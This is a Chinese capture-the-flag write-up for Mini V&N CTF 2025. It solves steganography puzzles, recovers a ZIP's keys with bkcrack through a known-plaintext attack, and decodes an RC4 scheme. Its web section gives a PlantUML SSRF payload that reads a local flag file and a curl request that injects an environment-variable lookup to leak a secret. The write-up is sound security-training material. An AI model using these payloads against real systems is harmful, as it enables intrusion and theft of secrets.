Mini V&N CTF 2025 WriteUp
misc
welcome.pdf
打开zip得到一个没压缩的pdf和一个压缩的7z
使用wbStego4open以空密码解码这个pdf得到7z的密码
fHsi9qhd#3
打开7z得到四张图片,文件名分别是苦命鸳鸯

额何意味

拼了一下,扫不出来。。搜了一下是汉信码,用ps二值化一下

扫

得到flag前半段
另外发现有盲水印
于是分别提取四张图的盲水印

得到flag后半段

VNCTF{Un10n_7earn_Fr0rnCNqwq}
wav也能像png那样美丽吗
右声道有morse

手抄

666,看文件尾

又是fakeflag,去看频谱

首字母B有什么特别的吗…?
我超 是LSB
拿silenteye解一下,居然出了

VNCTF{C@u5e_y0u_10ve_m3_dummy}
原来这就是一步登天吗

D u know Pyc?
Sect3t.jpg尾部有zip,分离得到

在flag.zip注释里有

怀疑明文攻击?
pyc文件头定义:https://ctf-wiki.org/misc/other/pyc/

注:👇这里应该是py文件修改时间和大小

已知Bit Field尾00 00 00 00
要获得magic number,我们装一个py3.12.12的环境
conda create -n ctf-test python=3.12.12
conda activate ctf-test
python>>> import importlib.util
>>> importlib.util.MAGIC_NUMBER
b'\xcb\r\r\n'
>>> importlib.util.MAGIC_NUMBER.hex()
'cb0d0d0a'
>>>以及文件大小1411
所以已知明文为cb0d0d0a00000000********83050000
注:其实时间和大小都是已知的,其实明文可以是16字节
bkcrack -C flag.zip -c attack_it.pyc -x 0 cb0d0d0a00000000 -x 12 83050000
[15:33:13] Keys
d7fe0787 b3af2704 99fa95dc
bkcrack -C flag.zip -c attack_it.pyc -k d7fe0787 b3af2704 99fa95dc -U out.zip 111于是我们可以看到flag.py的加密流程(不是misc题嘛)
flag反转 -> UTF-8编码 -> 每个字节异或0x37 -> RC4加密(密钥your-secret-key-here) -> base64编码
solution:
import base64
def __rc4(k, d):
S = list(range(256))
j = 0
lk = len(k)
for i in range(256):
j = (j + S[i] + k[i % lk]) & 0xFF
S[i], S[j] = S[j], S[i]
out = bytearray()
i = 0
j = 0
garbage = 0
for ch in d:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
idx = (S[i] + S[j]) & 0xFF
kbyte = S[idx]
garbage ^= (kbyte ^ i ^ j) & 0
out.append(ch ^ kbyte)
_ = garbage
return bytes(out)
c64 = "adJts2ab4DvAn9Zu60bNyGrOAWj72B1/kg=="
c = base64.b64decode(c64)
key = b"your-secret-key-here"
b2 = __rc4(key, c)
b1 = bytes(b ^ 0x37 for b in b2)
s1 = b1.decode("utf-8")
flag = s1[::-1]
print(flag)VNCTF{W3lc0me_T0_V&N2025}
MCServer[todo]
先看看怎么个事
蛙趣 古早系统
Linux version 4.9.0-deepin13-amd64 (yangbo@deepin.com) (gcc version 6.3.0 20170321 (Debian 6.3.0-11) ) #1 SMP PREEMPT Deepin 4.9.57-1 (2017-10-19) ()



web
notebook
搜索plantuml漏洞找到CVE-2023-3432
随便写一点
@startuml
!include https://bing.com
Alice -> Bob: Message
@enduml
@startuml
!include http://127.0.0.1/flag.txt
Alice -> Bob: Message
@enduml
VNCTF{ssR1?!_7hiS_R3aL_bug}
chatrobot
观察源码,start()会返回stderr而handle_chat_api()不会

想办法让它报错输出环境变量中的flag就行
在log4j配置中会解析${sys:cmd},那么将cmd设置成${env:FLAG}即可

curl -X POST -d "text=\${env:FLAG} a" 'http://challenge.ilovectf.cn:30376/'
VNCTF{I0G_1#R_j_15_fUn_NufXVqb}